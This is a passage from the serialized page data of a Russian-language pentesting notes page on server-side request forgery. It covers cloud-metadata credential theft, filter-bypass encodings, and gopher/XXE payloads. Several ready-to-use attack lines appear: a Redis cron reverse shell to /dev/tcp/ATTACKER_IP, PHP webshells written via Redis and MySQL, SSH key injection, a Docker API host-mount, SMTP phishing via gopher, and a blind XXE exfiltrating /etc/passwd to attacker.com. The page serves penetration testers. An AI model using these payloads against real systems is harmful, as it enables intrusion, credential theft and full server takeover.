href=\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fuser-data\">\n\u003Cscript>fetch('http:\u002F\u002F169.254.169.254\u002F...').then(r=>r.text()).then(d=>document.write(d))\u003C\u002Fscript>\n","html",[48,2051,2052,2078,2093,2118],{"__ignoreMap":50},[308,2053,2054,2057,2061,2064,2067,2070,2073,2075],{"class":310,"line":311},[308,2055,2056],{"class":911},"\u003C",[308,2058,2060],{"class":2059},"s9eBZ","iframe",[308,2062,2063],{"class":667}," src",[308,2065,2066],{"class":911},"=",[308,2068,2069],{"class":671},"\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"",[308,2071,2072],{"class":911},">\u003C\u002F",[308,2074,2060],{"class":2059},[308,2076,2077],{"class":911},">\n",[308,2079,2080,2082,2084,2086,2088,2091],{"class":310,"line":98},[308,2081,2056],{"class":911},[308,2083,693],{"class":2059},[308,2085,2063],{"class":667},[308,2087,2066],{"class":911},[308,2089,2090],{"class":671},"\"http:\u002F\u002Finternal-service:8080\u002Fadmin\"",[308,2092,2077],{"class":911},[308,2094,2095,2097,2100,2103,2105,2108,2111,2113,2116],{"class":310,"line":104},[308,2096,2056],{"class":911},[308,2098,2099],{"class":2059},"link",[308,2101,2102],{"class":667}," rel",[308,2104,2066],{"class":911},[308,2106,2107],{"class":671},"\"stylesheet\"",[308,2109,2110],{"class":667}," href",[308,2112,2066],{"class":911},[308,2114,2115],{"class":671},"\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fuser-data\"",[308,2117,2077],{"class":911},[308,2119,2120,2122,2125,2128,2131,2133,2136,2138,2141,2143,2146,2148,2151,2153,2156,2158,2160,2163,2165,2168,2171,2174,2176],{"class":310,"line":1327},[308,2121,2056],{"class":911},[308,2123,2124],{"class":2059},"script",[308,2126,2127],{"class":911},">",[308,2129,2130],{"class":667},"fetch",[308,2132,917],{"class":911},[308,2134,2135],{"class":671},"'http:\u002F\u002F169.254.169.254\u002F...'",[308,2137,923],{"class":911},[308,2139,2140],{"class":667},"then",[308,2142,917],{"class":911},[308,2144,2145],{"class":1685},"r",[308,2147,1692],{"class":1619},[308,2149,2150],{"class":911},"r.",[308,2152,46],{"class":667},[308,2154,2155],{"class":911},"()).",[308,2157,2140],{"class":667},[308,2159,917],{"class":911},[308,2161,2162],{"class":1685},"d",[308,2164,1692],{"class":1619},[308,2166,2167],{"class":911},"document.",[308,2169,2170],{"class":667},"write",[308,2172,2173],{"class":911},"(d))\u003C\u002F",[308,2175,2124],{"class":2059},[308,2177,2077],{"class":911},[333,2179,2180,2183,2184],{},[637,2181,2182],{},"SOAP\u002FXML-парсинг"," — внешние сущности (XXE → SSRF), подробнее: ",[24,2185,2187],{"href":2186},"\u002Fru\u002Fnotes\u002Fpentesting\u002Fxxe","XXE",[333,2189,2190,2193],{},[637,2191,2192],{},"Интеграции с API"," — пользователь указывает endpoint стороннего сервиса",[333,2195,2196,2199],{},[637,2197,2198],{},"Загрузка SVG, DOCX, XLSX"," — внутри XML с возможными external entities",[333,2201,2202],{},[637,2203,2204],{},"Проверка доступности URL \u002F health-check",[333,2206,2207],{},[637,2208,2209],{},"Редиректы на стороне сервера",[36,2211,2213],{"id":2212},"параметры-для-поиска","Параметры для поиска",[41,2215,2218],{"className":2216,"code":2217,"language":46},[44],"url=, uri=, path=, src=, dest=, redirect=, link=, feed=,\ncallback=, next=, target=, rurl=, domain=, endpoint=,\nproxy=, page=, load=, fetch=, site=, html=, val=, view=\n",[48,2219,2217],{"__ignoreMap":50},[36,2221,2223],{"id":2222},"заголовки","Заголовки",[748,2225,2226,2232],{},[333,2227,2228,2231],{},[48,2229,2230],{},"Referer"," — некоторые приложения ходят по Referer для аналитики",[333,2233,2234,2237,2238,2241],{},[48,2235,2236],{},"X-Forwarded-Host"," \u002F ",[48,2239,2240],{},"Host"," — реже, но при неправильной обработке",[1997,2243],{},[16,2245,2247],{"id":2246},"_3-типы-ssrf","3. Типы SSRF",[36,2249,2251],{"id":2250},"non-blind-classic-ssrf","Non-blind (Classic) SSRF",[21,2253,2254,2255,2258],{},"Ответ от внутреннего сервиса ",[637,2256,2257],{},"возвращается атакующему"," — полностью или частично.",[41,2260,2263],{"className":2261,"code":2262,"language":46},[44],"GET \u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F HTTP\u002F1.1\n\nОтвет: ami-id, instance-id, iam\u002Fsecurity-credentials\u002F...\n",[48,2264,2262],{"__ignoreMap":50},[36,2266,2268],{"id":2267},"blind-ssrf","Blind SSRF",[21,2270,2271,2272,2275],{},"Ответ ",[637,2273,2274],{},"не возвращается",". Способы подтверждения и эксплуатации:",[2277,2278,2279,2292],"table",{},[2280,2281,2282],"thead",{},[2283,2284,2285,2289],"tr",{},[2286,2287,2288],"th",{},"Техника",[2286,2290,2291],{},"Как работает",[2293,2294,2295,2304,2312,2320],"tbody",{},[2283,2296,2297,2301],{},[2298,2299,2300],"td",{},"OOB (out-of-band)",[2298,2302,2303],{},"Запрос на Burp Collaborator \u002F interactsh — смотрим DNS\u002FHTTP callback",[2283,2305,2306,2309],{},[2298,2307,2308],{},"Тайминг",[2298,2310,2311],{},"Открытый порт отвечает быстро, закрытый — таймаут. Разница во времени ответа",[2283,2313,2314,2317],{},[2298,2315,2316],{},"Разница ошибок",[2298,2318,2319],{},"Разные HTTP-коды или сообщения при разных внутренних ответах",[2283,2321,2322,2325],{},[2298,2323,2324],{},"Побочные эффекты",[2298,2326,2327],{},"SSRF на внутренний API, который что-то меняет (удаление, перезагрузка)",[36,2329,2331],{"id":2330},"partial-ssrf","Partial SSRF",[21,2333,2334,2335,2338],{},"Ответ приходит, но ",[637,2336,2337],{},"обрезан или отфильтрован"," — видим только код ответа, Content-Length или заголовки.",[1997,2340],{},[16,2342,2344],{"id":2343},"_4-протоколы-schemes","4. Протоколы (Schemes)",[36,2346,2348],{"id":2347},"http-и-https","http:\u002F\u002F и https:\u002F\u002F",[21,2350,2351],{},"Базовый вектор. Запросы к внутренним веб-сервисам и API.",[36,2353,2355],{"id":2354},"file","file:\u002F\u002F",[21,2357,2358],{},"Чтение локальных файлов:",[41,2360,2363],{"className":2361,"code":2362,"language":46},[44],"file:\u002F\u002F\u002Fetc\u002Fpasswd\nfile:\u002F\u002F\u002Fetc\u002Fshadow\nfile:\u002F\u002F\u002Fproc\u002Fself\u002Fenviron        — переменные окружения (могут содержать секреты)\nfile:\u002F\u002F\u002Fproc\u002Fself\u002Fcmdline        — аргументы запуска процесса\nfile:\u002F\u002F\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa    — приватные SSH-ключи\nfile:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php  — конфиги приложения\nfile:\u002F\u002F\u002Froot\u002F.bash_history       — история команд\n",[48,2364,2362],{"__ignoreMap":50},[21,2366,2367],{},"На Windows:",[41,2369,2372],{"className":2370,"code":2371,"language":46},[44],"file:\u002F\u002F\u002FC:\u002FWindows\u002Fwin.ini\nfile:\u002F\u002F\u002FC:\u002FUsers\u002FAdministrator\u002F.ssh\u002Fid_rsa\n",[48,2373,2371],{"__ignoreMap":50},[36,2375,2377],{"id":2376},"gopher","gopher:\u002F\u002F",[21,2379,2380,2383],{},[637,2381,2382],{},"Самый мощный протокол для SSRF."," Позволяет отправить произвольные байты в TCP-соединение.",[21,2385,2386,2387],{},"Формат: ",[48,2388,2389],{},"gopher:\u002F\u002Fhost:port\u002F_\u003Curl-encoded данные>",[748,2391,2392,2402,2411],{},[333,2393,2394,2397,2398,2401],{},[48,2395,2396],{},"_"," — первый символ после ",[48,2399,2400],{},"\u002F",", игнорируется",[333,2403,2404,1092,2407,2410],{},[48,2405,2406],{},"%0D%0A",[48,2408,2409],{},"\\r\\n"," (перенос строки)",[333,2412,2413],{},"Все спецсимволы URL-encode'ятся",[21,2415,2416,2417,2420],{},"Позволяет взаимодействовать с ",[637,2418,2419],{},"любым TCP-сервисом",": Redis, SMTP, MySQL, FastCGI, Memcached.",[36,2422,2424],{"id":2423},"dict","dict:\u002F\u002F",[21,2426,2386,2427],{},[48,2428,2429],{},"dict:\u002F\u002Fhost:port\u002Fкоманда",[21,2431,2432],{},"Используется для:",[748,2434,2435,2438],{},[333,2436,2437],{},"Отправки одиночных команд в Redis\u002FMemcached",[333,2439,2440],{},"Сканирования портов",[21,2442,2443,2444,2447],{},"Ограничение: отправляет только ",[637,2445,2446],{},"одну строку",", не подходит для сложных цепочек команд.",[36,2449,2451],{"id":2450},"другие","Другие",[748,2453,2454,2460,2465,2474,2480],{},[333,2455,2456,2459],{},[48,2457,2458],{},"ftp:\u002F\u002F"," — взаимодействие с FTP, bounce-атаки",[333,2461,2462],{},[48,2463,2464],{},"sftp:\u002F\u002F",[333,2466,2467,2237,2470,2473],{},[48,2468,2469],{},"ldap:\u002F\u002F",[48,2471,2472],{},"ldaps:\u002F\u002F"," — запросы к LDAP-серверам",[333,2475,2476,2479],{},[48,2477,2478],{},"tftp:\u002F\u002F"," — UDP-based",[333,2481,2482,2485],{},[48,2483,2484],{},"jar:\u002F\u002F"," — специфично для Java, может загружать удалённые файлы",[1997,2487],{},[16,2489,2491],{"id":2490},"_5-обход-фильтров","5. Обход фильтров",[36,2493,2495],{"id":2494},"обход-blacklist-на-ip-127001-localhost","Обход blacklist на IP (127.0.0.1, localhost)",[21,2497,2498],{},[637,2499,2500],{},"Альтернативные записи localhost:",[41,2502,2505],{"className":2503,"code":2504,"language":46},[44],"http:\u002F\u002F127.1\nhttp:\u002F\u002F127.0.1\nhttp:\u002F\u002F127.000.000.001\nhttp:\u002F\u002F0\nhttp:\u002F\u002F0.0.0.0\n",[48,2506,2504],{"__ignoreMap":50},[21,2508,2509],{},[637,2510,2511],{},"Decimal (десятичная):",[41,2513,2516],{"className":2514,"code":2515,"language":46},[44],"http:\u002F\u002F2130706433        → 127.0.0.1\n",[48,2517,2515],{"__ignoreMap":50},[21,2519,2520],{},"Конвертация: 127×256³ + 0×256² + 0×256¹ + 1 = 2130706433",[21,2522,2523],{},[637,2524,2525],{},"Hex (шестнадцатеричная):",[41,2527,2530],{"className":2528,"code":2529,"language":46},[44],"http:\u002F\u002F0x7f000001\nhttp:\u002F\u002F0x7f.0x0.0x0.0x1\n",[48,2531,2529],{"__ignoreMap":50},[21,2533,2534],{},[637,2535,2536],{},"Octal (восьмеричная):",[41,2538,2541],{"className":2539,"code":2540,"language":46},[44],"http:\u002F\u002F0177.0.0.01\nhttp:\u002F\u002F017700000001\n",[48,2542,2540],{"__ignoreMap":50},[21,2544,2545],{},[637,2546,2547],{},"IPv6:",[41,2549,2552],{"className":2550,"code":2551,"language":46},[44],"http:\u002F\u002F[::1]\nhttp:\u002F\u002F[0000::1]\nhttp:\u002F\u002F[::ffff:127.0.0.1]\nhttp:\u002F\u002F[0:0:0:0:0:ffff:127.0.0.1]\n",[48,2553,2551],{"__ignoreMap":50},[21,2555,2556],{},[637,2557,2558],{},"Домены, резолвящиеся в 127.0.0.1:",[41,2560,2563],{"className":2561,"code":2562,"language":46},[44],"http:\u002F\u002Flocaltest.me\nhttp:\u002F\u002Fvcap.me\nhttp:\u002F\u002F127.0.0.1.nip.io\nhttp:\u002F\u002Fspoofed.burpcollaborator.net   (свой Collaborator с DNS)\n",[48,2564,2562],{"__ignoreMap":50},[36,2566,2568],{"id":2567},"обход-whitelist-на-домен","Обход whitelist на домен",[21,2570,2571],{},[637,2572,2573],{},"URL-парсинг (разночтения между парсером и HTTP-клиентом):",[41,2575,2578],{"className":2576,"code":2577,"language":46},[44],"http:\u002F\u002Fallowed.com@attacker.com       — userinfo часть URL\nhttp:\u002F\u002Fattacker.com#allowed.com       — fragment\nhttp:\u002F\u002Fattacker.com?q=allowed.com     — query string\nhttp:\u002F\u002Fallowed.com.attacker.com       — поддомен\n",[48,2579,2577],{"__ignoreMap":50},[21,2581,2582],{},[637,2583,2584],{},"Open redirect:",[41,2586,2589],{"className":2587,"code":2588,"language":46},[44],"http:\u002F\u002Fallowed.com\u002Fredirect?url=http:\u002F\u002F169.254.169.254\u002F\n",[48,2590,2588],{"__ignoreMap":50},[21,2592,2593],{},"Если на разрешённом домене есть open redirect — используй как промежуточный хоп.",[21,2595,2596],{},[637,2597,2598],{},"Encoded символы:",[41,2600,2603],{"className":2601,"code":2602,"language":46},[44],"http:\u002F\u002Fallowed.com%00@attacker.com    — null byte\nhttp:\u002F\u002Fallowed.com%2F%2Fattacker.com\n",[48,2604,2602],{"__ignoreMap":50},[36,2606,2608],{"id":2607},"обход-фильтра-на-схему","Обход фильтра на схему",[41,2610,2613],{"className":2611,"code":2612,"language":46},[44],"gopher:\u002F\u002F  → Gopher:\u002F\u002F  → GOPHER:\u002F\u002F   (case-insensitive)\nfile:\u002F\u002F    → File:\u002F\u002F\n",[48,2614,2612],{"__ignoreMap":50},[36,2616,2618],{"id":2617},"обход-через-редирект","Обход через редирект",[21,2620,2621],{},"Если сервер следует за HTTP-редиректами:",[330,2623,2624,2630,2636],{},[333,2625,2626,2627],{},"Первый URL проходит фильтр: ",[48,2628,2629],{},"http:\u002F\u002Fattacker.com\u002Fredirect",[333,2631,2632,2633],{},"Attacker возвращает ",[48,2634,2635],{},"302 Location: http:\u002F\u002F127.0.0.1\u002Fadmin",[333,2637,2638],{},"Сервер идёт по редиректу → фильтр уже не проверяет",[21,2640,2641],{},"Можно менять схему через редирект:",[41,2643,2646],{"className":2644,"code":2645,"language":46},[44],"http:\u002F\u002Fattacker.com\u002Fredirect → gopher:\u002F\u002F127.0.0.1:6379\u002F...\n",[48,2647,2645],{"__ignoreMap":50},[36,2649,2651],{"id":2650},"dns-rebinding","DNS rebinding",[21,2653,2654,2657],{},[637,2655,2656],{},"Проблема:"," сервер резолвит DNS и проверяет IP перед запросом.",[21,2659,2660],{},[637,2661,2662],{},"Обход:",[330,2664,2665,2675,2678,2687],{},[333,2666,2667,2670,2671,2674],{},[48,2668,2669],{},"evil.com"," → первый DNS-ответ: ",[48,2672,2673],{},"1.2.3.4"," (внешний, проходит проверку)",[333,2676,2677],{},"Сервер валидирует — ОК",[333,2679,2680,2681,2683,2684],{},"Второй DNS-запрос (для соединения): ",[48,2682,2669],{}," → ",[48,2685,2686],{},"127.0.0.1",[333,2688,2689],{},"Запрос уходит на localhost",[21,2691,2692,2695,2696,2699],{},[637,2693,2694],{},"Настройка:"," свой DNS с TTL=0, чередующий ответы.\n",[637,2697,2698],{},"Инструменты:"," rbndr.us, Singularity of Origin.",[36,2701,2703],{"id":2702},"toctou-time-of-check-to-time-of-use","TOCTOU (Time-of-Check to Time-of-Use)",[21,2705,2706,2707,2710],{},"DNS rebinding — частный случай более общего паттерна ",[637,2708,2709],{},"TOCTOU",": между моментом проверки (DNS resolve → IP ок) и моментом использования (HTTP-запрос) состояние меняется. Это важно понимать, потому что TOCTOU встречается не только в DNS — например, если приложение проверяет URL, сохраняет его, и использует позже, промежуточный редирект на этом URL может измениться.",[36,2712,2714],{"id":2713},"ssrf-crlf-injection","SSRF + CRLF Injection",[21,2716,2717,2718,2720],{},"Если в URL можно вставить ",[48,2719,2409],{}," (CRLF), можно добавить произвольные HTTP-заголовки в запрос, который делает сервер:",[41,2722,2725],{"className":2723,"code":2724,"language":46},[44],"http:\u002F\u002Finternal-service%0D%0AX-aws-ec2-metadata-token:%20TOKEN_VALUE%0D%0A\n",[48,2726,2724],{"__ignoreMap":50},[21,2728,2729,2730,2733],{},"Это позволяет обойти защиты вроде ",[637,2731,2732],{},"IMDSv2",", которые требуют специальные заголовки. Если HTTP-клиент сервера не экранирует CRLF в URL — мы контролируем заголовки запроса.",[1997,2735],{},[16,2737,2739],{"id":2738},"_6-cloud-metadata-главная-цель","6. Cloud Metadata — главная цель",[36,2741,2743],{"id":2742},"aws-imdsv1","AWS (IMDSv1)",[41,2745,2748],{"className":2746,"code":2747,"language":46},[44],"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fhostname\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Flocal-ipv4\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\u003CROLE_NAME>\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fuser-data\n",[48,2749,2747],{"__ignoreMap":50},[21,2751,2752,2753,215],{},"Главный приз — ",[637,2754,2755],{},"IAM credentials",[41,2757,2759],{"className":1289,"code":2758,"language":1291,"meta":50,"style":50},"{\n  \"AccessKeyId\": \"ASIA...\",\n  \"SecretAccessKey\": \"wJalr...\",\n  \"Token\": \"IQoJb3...\",\n  \"Expiration\": \"2026-04-18T12:00:00Z\"\n}\n",[48,2760,2761,2765,2777,2789,2801,2811],{"__ignoreMap":50},[308,2762,2763],{"class":310,"line":311},[308,2764,1298],{"class":911},[308,2766,2767,2770,2772,2775],{"class":310,"line":98},[308,2768,2769],{"class":678},"  \"AccessKeyId\"",[308,2771,1306],{"class":911},[308,2773,2774],{"class":671},"\"ASIA...\"",[308,2776,1312],{"class":911},[308,2778,2779,2782,2784,2787],{"class":310,"line":104},[308,2780,2781],{"class":678},"  \"SecretAccessKey\"",[308,2783,1306],{"class":911},[308,2785,2786],{"class":671},"\"wJalr...\"",[308,2788,1312],{"class":911},[308,2790,2791,2794,2796,2799],{"class":310,"line":1327},[308,2792,2793],{"class":678},"  \"Token\"",[308,2795,1306],{"class":911},[308,2797,2798],{"class":671},"\"IQoJb3...\"",[308,2800,1312],{"class":911},[308,2802,2803,2806,2808],{"class":310,"line":1336},[308,2804,2805],{"class":678},"  \"Expiration\"",[308,2807,1306],{"class":911},[308,2809,2810],{"class":671},"\"2026-04-18T12:00:00Z\"\n",[308,2812,2813],{"class":310,"line":1349},[308,2814,1369],{"class":911},[21,2816,2817],{},"С этими ключами → доступ к S3, EC2, Lambda, DynamoDB и т.д.",[21,2819,2820],{},[637,2821,2822],{},"IMDSv2 (защита):",[41,2824,2827],{"className":2825,"code":2826,"language":46},[44],"Шаг 1: PUT http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\n        Header: X-aws-ec2-metadata-token-ttl-seconds: 21600\n        → Получаем токен\n\nШаг 2: GET http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n        Header: X-aws-ec2-metadata-token: \u003Cтокен>\n",[48,2828,2826],{"__ignoreMap":50},[21,2830,2831],{},"Простой GET-based SSRF не сработает — нужен PUT + кастомный заголовок. Но если SSRF позволяет управлять методом и заголовками (или есть CRLF injection) — IMDSv2 тоже может быть обойдён.",[36,2833,2835],{"id":2834},"gcp","GCP",[41,2837,2840],{"className":2838,"code":2839,"language":46},[44],"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F\nhttp:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\nhttp:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Fproject\u002Fproject-id\n",[48,2841,2839],{"__ignoreMap":50},[21,2843,2844,640,2847,2850],{},[637,2845,2846],{},"Требует заголовок:",[48,2848,2849],{},"Metadata-Flavor: Google"," — но через gopher можно подставить.",[36,2852,2854],{"id":2853},"azure","Azure",[41,2856,2859],{"className":2857,"code":2858,"language":46},[44],"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\nhttp:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F\n",[48,2860,2858],{"__ignoreMap":50},[21,2862,2863,640,2865],{},[637,2864,2846],{},[48,2866,2867],{},"Metadata: true",[36,2869,2871],{"id":2870},"digitalocean","DigitalOcean",[41,2873,2876],{"className":2874,"code":2875,"language":46},[44],"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fv1\u002F\nhttp:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fv1\u002Fid\nhttp:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fv1\u002Fuser-data\n",[48,2877,2875],{"__ignoreMap":50},[36,2879,2881],{"id":2880},"kubernetes","Kubernetes",[21,2883,2884],{},"Если сервер работает в Pod'е Kubernetes:",[41,2886,2889],{"className":2887,"code":2888,"language":46},[44],"# Service account token (аутентификация в API кластера)\nfile:\u002F\u002F\u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\n\n# Kubernetes API — секреты всего namespace\nhttp:\u002F\u002Fkubernetes.default.svc\u002Fapi\u002Fv1\u002Fnamespaces\u002Fdefault\u002Fsecrets\n\n# Kubelet read-only API — информация о Pod'ах\nhttp:\u002F\u002Flocalhost:10255\u002Fpods\n\n# etcd — хранилище всего состояния кластера\nhttp:\u002F\u002Flocalhost:2379\u002Fv2\u002Fkeys\u002F\n\n# Kubernetes environment variables\nfile:\u002F\u002F\u002Fproc\u002Fself\u002Fenviron\n",[48,2890,2888],{"__ignoreMap":50},[21,2892,2893],{},"Service account token + Kubernetes API = потенциально полный доступ к кластеру, секретам, другим сервисам.",[1997,2895],{},[16,2897,2899],{"id":2898},"_7-пути-к-rce-через-ssrf","7. Пути к RCE через SSRF",[36,2901,2903],{"id":2902},"redis-порт-6379","Redis (порт 6379)",[21,2905,2906],{},"Redis без аутентификации + gopher = запись произвольных файлов.",[21,2908,2909],{},[637,2910,2911],{},"Вектор 1 — Crontab (Linux):",[41,2913,2916],{"className":2914,"code":2915,"language":46},[44],"gopher:\u002F\u002F127.0.0.1:6379\u002F_\nSET shell \"\\n\\n*\u002F1 * * * * bash -i >& \u002Fdev\u002Ftcp\u002FATTACKER_IP\u002F4444 0>&1\\n\\n\"\nCONFIG SET dir \u002Fvar\u002Fspool\u002Fcron\u002Fcrontabs\nCONFIG SET dbfilename root\nSAVE\n",[48,2917,2915],{"__ignoreMap":50},[21,2919,2920],{},"→ Reverse shell через cron каждую минуту.",[21,2922,2923],{},[637,2924,2925],{},"Вектор 2 — Webshell:",[41,2927,2930],{"className":2928,"code":2929,"language":46},[44],"SET shell \"\\n\\n\u003C?php system($_GET['cmd']); ?>\\n\\n\"\nCONFIG SET dir \u002Fvar\u002Fwww\u002Fhtml\nCONFIG SET dbfilename shell.php\nSAVE\n",[48,2931,2929],{"__ignoreMap":50},[21,2933,2934,2935],{},"→ Webshell по адресу ",[48,2936,2937],{},"http:\u002F\u002Ftarget.com\u002Fshell.php?cmd=id",[21,2939,2940],{},[637,2941,2942],{},"Вектор 3 — SSH authorized_keys:",[41,2944,2947],{"className":2945,"code":2946,"language":46},[44],"SET ssh \"\\n\\nssh-rsa AAAAB3... attacker@box\\n\\n\"\nCONFIG SET dir \u002Froot\u002F.ssh\nCONFIG SET dbfilename authorized_keys\nSAVE\n",[48,2948,2946],{"__ignoreMap":50},[21,2950,2951],{},"→ SSH-доступ без пароля.",[21,2953,2954,2957],{},[637,2955,2956],{},"Инструмент:"," Gopherus автоматически генерирует gopher-payload для Redis.",[36,2959,2961],{"id":2960},"php-fpm-fastcgi-порт-9000","PHP-FPM \u002F FastCGI (порт 9000)",[21,2963,2964],{},"PHP-FPM выполняет PHP-код по запросу через протокол FastCGI.",[21,2966,2967],{},[637,2968,2969],{},"Атака:",[330,2971,2972,2975,2981,2987,2993],{},[333,2973,2974],{},"Формируем FastCGI-пакет через gopher",[333,2976,2977,2978,1002],{},"Указываем существующий .php файл (например, ",[48,2979,2980],{},"\u002Fvar\u002Fwww\u002Fhtml\u002Findex.php",[333,2982,2983,2984],{},"Устанавливаем ",[48,2985,2986],{},"PHP_VALUE: auto_prepend_file = php:\u002F\u002Finput",[333,2988,2989,2990],{},"В теле — ",[48,2991,2992],{},"\u003C?php system(\"id\"); ?>",[333,2994,2995,2996],{},"PHP-FPM выполняет код → ",[637,2997,2998],{},"RCE без записи файлов",[21,3000,3001,3003],{},[637,3002,2956],{}," Gopherus → FastCGI payload.",[36,3005,3007],{"id":3006},"smtp-порт-25","SMTP (порт 25)",[21,3009,3010],{},"Не RCE, но полезно:",[41,3012,3015],{"className":3013,"code":3014,"language":46},[44],"gopher:\u002F\u002F127.0.0.1:25\u002F_\nHELO attacker.com%0D%0A\nMAIL FROM:\u003Cattacker@evil.com>%0D%0A\nRCPT TO:\u003Cadmin@target.com>%0D%0A\nDATA%0D%0A\nSubject: Test%0D%0A\nPhishing email body%0D%0A\n.%0D%0A\nQUIT\n",[48,3016,3014],{"__ignoreMap":50},[21,3018,3019],{},"→ Отправка email от имени внутреннего сервера (для фишинга, social engineering).",[36,3021,3023],{"id":3022},"mysql-порт-3306","MySQL (порт 3306)",[21,3025,3026],{},"Если MySQL без пароля (пустой пароль для root в dev-окружениях):",[748,3028,3029,3032,3038],{},[333,3030,3031],{},"Через gopher формируем MySQL-пакет аутентификации",[333,3033,3034,3035],{},"Отправляем SQL-запрос: ",[48,3036,3037],{},"SELECT \"\u003C?php system($_GET['cmd']); ?>\" INTO OUTFILE '\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php'",[333,3039,3040],{},"→ Webshell",[21,3042,3043,3046],{},[637,3044,3045],{},"Ограничение:"," MySQL-протокол бинарный и сложный, работает не всегда.",[36,3048,3050],{"id":3049},"внутренние-api-без-аутентификации","Внутренние API без аутентификации",[21,3052,3053],{},"Многие внутренние сервисы доверяют запросам из внутренней сети:",[748,3055,3056,3062,3068,3071],{},[333,3057,3058,3059,1002],{},"Kubernetes API (",[48,3060,3061],{},"http:\u002F\u002Fkubernetes.default.svc",[333,3063,3064,3065,1002],{},"Docker API (",[48,3066,3067],{},"http:\u002F\u002F127.0.0.1:2375",[333,3069,3070],{},"Consul, etcd, Elasticsearch",[333,3072,3073],{},"Админки (Jenkins, Grafana, Kibana)",[21,3075,3076],{},"Docker API → RCE:",[41,3078,3081],{"className":3079,"code":3080,"language":46},[44],"POST http:\u002F\u002F127.0.0.1:2375\u002Fcontainers\u002Fcreate\nBody: {\"Image\":\"alpine\",\"Cmd\":[\"sh\"],\"Binds\":[\"\u002F:\u002Fmnt\"]}\n",[48,3082,3080],{"__ignoreMap":50},[21,3084,3085],{},"→ Монтируем хост-файловую систему в контейнер → полный доступ.",[36,3087,3089],{"id":3088},"цепочка-ssrf-cloud-keys-full-compromise","Цепочка SSRF → Cloud Keys → Full Compromise",[330,3091,3092,3099,3108,3111],{},[333,3093,3094,3095,3098],{},"SSRF → ",[48,3096,3097],{},"169.254.169.254"," → IAM credentials",[333,3100,3101,3102,973,3105],{},"С ключами: ",[48,3103,3104],{},"aws s3 ls",[48,3106,3107],{},"aws ec2 describe-instances",[333,3109,3110],{},"Ищем S3-бакеты с секретами, базы данных, другие инстансы",[333,3112,3113],{},"Lateral movement по облачной инфраструктуре",[1997,3115],{},[16,3117,3119],{"id":3118},"_8-ssrf-через-xxe","8. SSRF через XXE",[21,3121,3122],{},"XML-парсеры обрабатывают внешние сущности — это даёт SSRF + чтение файлов.",[36,3124,3126],{"id":3125},"базовый-xxe-ssrf","Базовый XXE → SSRF",[41,3128,3132],{"className":3129,"code":3130,"language":3131,"meta":50,"style":50},"language-xml shiki shiki-themes github-light github-dark","\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n]>\n\u003Cdata>&xxe;\u003C\u002Fdata>\n","xml",[48,3133,3134,3139,3144,3149,3154],{"__ignoreMap":50},[308,3135,3136],{"class":310,"line":311},[308,3137,3138],{},"\u003C?xml version=\"1.0\"?>\n",[308,3140,3141],{"class":310,"line":98},[308,3142,3143],{},"\u003C!DOCTYPE foo [\n",[308,3145,3146],{"class":310,"line":104},[308,3147,3148],{},"  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n",[308,3150,3151],{"class":310,"line":1327},[308,3152,3153],{},"]>\n",[308,3155,3156],{"class":310,"line":1336},[308,3157,3158],{},"\u003Cdata>&xxe;\u003C\u002Fdata>\n",[36,3160,3162],{"id":3161},"blind-xxe-oob-exfiltration","Blind XXE → OOB exfiltration",[41,3164,3166],{"className":3129,"code":3165,"language":3131,"meta":50,"style":50},"\u003C!DOCTYPE foo [\n  \u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n  \u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\">\n  %dtd;\n]>\n\u003Cdata>&send;\u003C\u002Fdata>\n",[48,3167,3168,3172,3177,3182,3187,3191],{"__ignoreMap":50},[308,3169,3170],{"class":310,"line":311},[308,3171,3143],{},[308,3173,3174],{"class":310,"line":98},[308,3175,3176],{},"  \u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n",[308,3178,3179],{"class":310,"line":104},[308,3180,3181],{},"  \u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\">\n",[308,3183,3184],{"class":310,"line":1327},[308,3185,3186],{},"  %dtd;\n",[308,3188,3189],{"class":310,"line":1336},[308,3190,3153],{},[308,3192,3193],{"class":310,"line":1349},[308,3194,3195],{},"\u003Cdata>&send;\u003C\u002Fdata>\n",[36,3197,3199],{"id":3198},"где-встречается-xxe","Где встречается 